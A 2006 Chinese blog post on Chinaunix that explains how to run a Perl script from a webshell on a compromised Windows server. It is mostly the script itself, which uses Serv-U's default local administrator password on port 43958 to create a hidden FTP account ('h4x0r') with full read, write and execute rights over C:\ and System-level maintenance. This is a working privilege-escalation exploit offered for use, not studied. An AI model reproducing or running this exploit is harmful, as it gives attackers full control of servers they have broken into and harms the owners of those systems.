Chinaunix首页 | 论坛 | 博客
  • 博客访问: 3179619
  • 博文数量: 797
  • 博客积分: 10134
  • 博客等级: 上将
  • 技术积分: 9335
  • 用 户 组: 普通用户
  • 注册时间: 2006-06-22 22:57
个人简介

1

文章分类

全部博文(797)

文章存档

2022年(1)

2021年(2)

2017年(2)

2016年(1)

2015年(4)

2014年(1)

2013年(6)

2012年(6)

2011年(10)

2010年(26)

2009年(63)

2008年(61)

2007年(51)

2006年(563)

我的朋友

分类: WINDOWS

2006-08-05 00:56:52

前提:
服务器装了Perl,我知道,好多2003都装了,呵呵,如果你在目录没有可执行权限,但是可以调用cmdshell的话,那么你可以这样做:
你直接使用Perl
Perl的默认安装路径是:C:\Perl
然后使用:
perl 你的pl文件的路径。
在WEBSHELL中的路径是这样的:
C:\perl\bin\perl 你的pl文件的路径
代码如下:
#!/usr/bin/perl
use IO::Socket;

binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);

$addr = "127.0.0.1";
$ftpport = 21;
$adminport = 43958;
$adminuser = "LocalAdministrator";
$adminpass = '#l@$ak#.lk;0@P';
$user = "h4x0r";
$password = "123456";
$homedir = 'C:\\';
$dir = 'C:\\WINNT\\System32\\';


use IO::Socket::INET;

$sock = IO::Socket::INET->new("127.0.0.1:$adminport") || die "fail";

print "TEST

"; print $sock "USER $adminuser\r\n"; sleep (1); print $sock "PASS $adminpass\r\n"; sleep(1); print $sock "SITE MAINTENANCE\r\n"; sleep(1); print $sock "-SETUSERSETUP\r\n"; print $sock "-IP=".$addr."\r\n"; print $sock "-PortNo=".$ftpport."\r\n"; print $sock "-User=".$user."\r\n"; print $sock "-Password=".$password."\r\n"; print $sock "-HomeDir=".$homedir."\r\n"; print $sock "-LoginMesFile=\r\n"; print $sock "-Disable=0\r\n"; print $sock "-RelPaths=0\r\n"; print $sock "-NeedSecure=0\r\n"; print $sock "-HideHidden=0\r\n"; print $sock "-AlwaysAllowLogin=0\r\n"; print $sock "-ChangePassword=1\r\n"; print $sock "-QuotaEnable=0\r\n"; print $sock "-MaxUsersLoginPerIP=-1\r\n"; print $sock "-SpeedLimitUp=-1\r\n"; print $sock "-SpeedLimitDown=-1\r\n"; print $sock "-MaxNrUsers=-1\r\n"; print $sock "-IdleTimeOut=600\r\n"; print $sock "-SessionTimeOut=-1\r\n"; print $sock "-Expire=0\r\n"; print $sock "-RatioUp=1\r\n"; print $sock "-RatioDown=1\r\n"; print $sock "-RatiosCredit=0\r\n"; print $sock "-QuotaCurrent=0\r\n"; print $sock "-QuotaMaximum=0\r\n"; print $sock "-Maintenance=System\r\n"; print $sock "-PasswordType=Regular\r\n"; print $sock "-Ratios=None\r\n"; print $sock " Access=".$homedir."|RWAMELCDP\r\n"; print $sock "QUIT\r\n"; @ret=<$sock>; print "@ret"; close(STDERR); close(STDOUT); exit;
阅读(728) | 评论(0) | 转发(0) |
0

上一篇:小试动网PHP论坛~

下一篇:Flash8.net

给主人留下些什么吧!~~